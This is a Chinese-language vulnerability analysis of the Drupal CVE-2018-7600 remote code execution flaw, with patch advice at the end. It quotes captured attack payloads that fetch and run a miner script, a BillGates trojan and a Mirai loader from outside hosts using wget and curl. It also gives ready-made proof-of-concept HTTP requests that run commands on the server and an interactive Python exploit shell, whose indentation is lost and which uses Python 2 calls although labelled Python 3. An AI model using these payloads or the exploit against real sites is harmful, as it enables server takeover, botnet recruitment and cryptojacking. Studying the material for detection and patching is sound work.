一、漏洞简介

Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用。Drupal安全团队披露了一个非常关键的漏洞,编号CVE-2018-7600 Drupal对表单请求内容未做严格过滤,因此,这使得攻击者可能将恶意注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。

二、漏洞原理

该漏洞的产生的根本原因在于Drupal对表单的渲染上。

Drupal为了在表单渲染过程中能够动态修改数据,从6.x版本开始便引入了“Drupal Form API”的概念。
相关文档如下:https://api.drupal.org/api/drupal/elements/8.6.x

这些“可渲染的数组(Renderable arrays)”就是引发此次漏洞的”元凶”,它由一个key-value结构存储,其中key都以#(hash sign)开头,如下所示

[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em>some text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]

Drupal在渲染这些“数组”时,将其中的数据未经安全过滤传入到doRender函数中。

以下是doRender函数调用call_user_func_array函数的代码片段:

img

该方法取出”可渲染数组”#lazy_builder的值,未经过滤直接传入call_user_func_array函数,导致恶意代码被执行。

攻击链路还原如下:

  • 黑客在“可渲染数组”中插入构造恶意代码,如:mail[#post_render][]=恶意代码
  • 通过POST方法将含有恶意代码的“可渲染数组”提交到drupal系统中。
  • 页面渲染流程中,“可渲染数组”中携带的恶意代码依次经过buildform->uploadAjaxCallback->renderRoot->doRender方法。
  • 最终doRender方法将“可渲染数组”中的恶意代码取出,传入call_user_func函数,导致恶意代码被执行,成功触发漏洞,网站沦陷。

相关代码:https://github.com/drupal/drupal/blob/8.6.x/core/lib/Drupal/Core/Render/Renderer.php

三、影响版本

Drupal 6.x
Drupal 7.x
Drupal 8.x

四、漏洞利用

自从漏洞CVE-2018-7600公布开始,阿里云安全技术实验室就持续跟踪和监控该漏洞的利用情况,发现黑客从2018-04-12开始就已经进行了大批量的漏洞攻击。从最近这段时间监控到的数据发现,已有多个黑客组织开始使用该漏洞来从事黑产活动。

1、挖矿牟利

 我们捕获到黑客精心构造POST数据,利用Drupal漏洞进行攻击,实现挖矿盈利。具体样例如下:
mail[#markup]=wget -q http://67.231.243.10:8220/logo4.jpg -O - | sh&mail[#type]=markup&form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec

logo4.jpg实际是一个shell脚本,该shell脚本有两个功能:

  1. 尝试结束市面上其他挖矿进程;其部分代码如下:

img

下载挖矿程序和挖矿程序配置脚本,并开始挖矿。

img

拿到黑客的钱包地址后,我们在某个矿池中发现该黑客已经获得了75.87个门罗币,根据市场门罗币的行情预估,该黑客单在这一个矿池中就已经牟利11W,而且该地址的门罗币数量再以每天两个的数量在递增,其中利润之大可见一斑。

img

2、构建BillGates僵尸网络

黑客执行 wget -c -P /etc/ http://111.73.46.196:9876/sysxlv 命令,下载BillGates木马,用于构建自己的僵尸网络。

该僵尸网络的相关信息:

  • 活跃时间:2018-02-14 ~ 至今
  • 中控IP:111.73.46.196
  • 相关域名:xvw.f3322.net
  • 关联样本:e05747461650ae6688fe0ed2b1104f0e

截至目前,影响云上用户趋势图如下:

img

3、收集信息并传播Mirai僵尸网络

黑客通过下发恶意shell代码,传播Mirai僵尸网络。

下图是shell通过wget将用户机器信息POST到tc8zdw.if1j0ytgkypa.tk

img

数据各个字段的值均用base64加密过,解密后如下:

上传信息字段名字段base64解码后的值

version EXD
act up,表示上传
uid uid=0(root) gid=0(root) groups=0(root)
uname Linux iZt4ncf567x3bguk2zv6haZ 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
arch 64,表示64为操作系统
network img
process img

名为64的程序实际是一个Loader,负责判断环境,然后下载不同版本的Mirai僵尸网络。除此之外还会执行其他payload,如 curl -fsSL http://tc8zdw.if1j0ytgkypa.tk/64 -o /tmp/57332442

img

入侵趋势

阿里云安全技术实验室从漏洞公布开始即密切关注云上该漏洞利用情况,发现云上批量攻击始于2018-04-12日,并快速增长,随着阿里云各个安全产品的联动拦截以及引导用户进行漏洞修复后,入侵趋势已基本下降下来。

img

威胁评估

本次补丁公布的时间点领先了批量漏洞利用时间点,用户拥有两周时间来进行安全更新。于此同时,云盾态势感知通用入侵检测模型在漏洞详情为公布前已经实现自动覆盖并向用户推送告警,目前绝大部分Drupal用户已经修复此漏洞,据最近一次入侵趋势观测结果(2018.04.18)显示,公有云存在漏洞的Drupal服务仅有2.6%。

与同类RCE漏洞相比,现阶段 Drupal(Drupalgeddon 2) 杀伤力未进入RCE漏洞第一梯队。

五、POC

访问Drupal靶场

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id【替换id执行命令】
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: ip:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.18.0.1:8080/user/register
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Length: 625
Connection: close

-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"

passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"

markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"

whoami
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"

user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"

交互式命令执行python3脚本:

使用python2 RCE.py http://127.0.0.1:8080

import requests
import re
from sys import argv

domain = argv[1]


def exploit(command):
HOST=domain

get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':command, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print("\n".join(r.text.split("\n")[:-1]))


while True:
command = raw_input('$ ')
exploit(command)

六、应对策略

官方已经修复此漏洞,请及时更新Drupal版本或参考补丁自行修复:

  1. Drupal 7.x 请更新至7.58版本(https://www.drupal.org/project/drupal/releases/7.58) 或参考此补丁进行修复 (https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5)
  2. Drupal 8.3.x 请更新至8.3.9版本(https://www.drupal.org/project/drupal/releases/8.3.9) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
  3. Drupal 8.4.x 请更新至8.4.6版本(https://www.drupal.org/project/drupal/releases/8.4.6) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
  4. Drupal 8.5.x 请更新至8.5.1版本(https://www.drupal.org/project/drupal/releases/8.5.1) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)

七、参考链接